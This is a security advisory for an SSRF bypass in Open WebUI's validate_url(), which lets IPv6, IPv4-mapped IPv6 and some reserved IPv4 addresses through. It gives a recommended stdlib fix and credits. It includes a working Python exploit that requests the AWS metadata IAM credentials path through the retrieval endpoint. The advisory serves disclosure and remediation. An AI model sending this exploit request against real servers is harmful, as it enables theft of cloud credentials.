SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validate_url()

Summary

validate_url() in backend/open_webui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validate_url() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validate_url(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/open_webui/retrieval/web/utils.py validate_url():

if validators.ipv6(ip, private=True):  # ValidationError is falsy — never raises
    raise ValueError(...)

Proof of concept

import validators
print(validators.ipv6("::1", private=True))
# ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

import requests, ipaddress

OPEN_WEBUI_URL = "https://target"
TOKEN = "..."
TARGET_IPV4 = "169.254.169.254"   # AWS IMDSv1
mapped = "::ffff:" + TARGET_IPV4

requests.post(f"{OPEN_WEBUI_URL}/api/v1/retrieval/process/web",
              headers={"Authorization": f"Bearer {TOKEN}"},
              json={"collection_name": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

import ipaddress
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_multicast or addr.is_reserved or addr.is_unspecified:
    raise ValueError(...)
# also unwrap IPv4-mapped IPv6 and re-check:
if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4_mapped:
    addr_v4 = addr.ipv4_mapped
    if addr_v4.is_private or addr_v4.is_loopback or ...:
        raise ValueError(...)
# plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

• Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6
• DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r
• urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx
• Playwright loader redirect: GHSA-jrfp-m64g-pcwv
• Missing validate_url() call in image_generations: GHSA-h7cc-wwjp-5xqh

Credits

• Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report).
• wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validate_url() once resolves all of them.

References

• GHSA-4v7r-f4w8-8972
• GHSA-c6xv-rcvw-v685
• https://github.com/open-webui/open-webui/releases/tag/v0.9.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-45331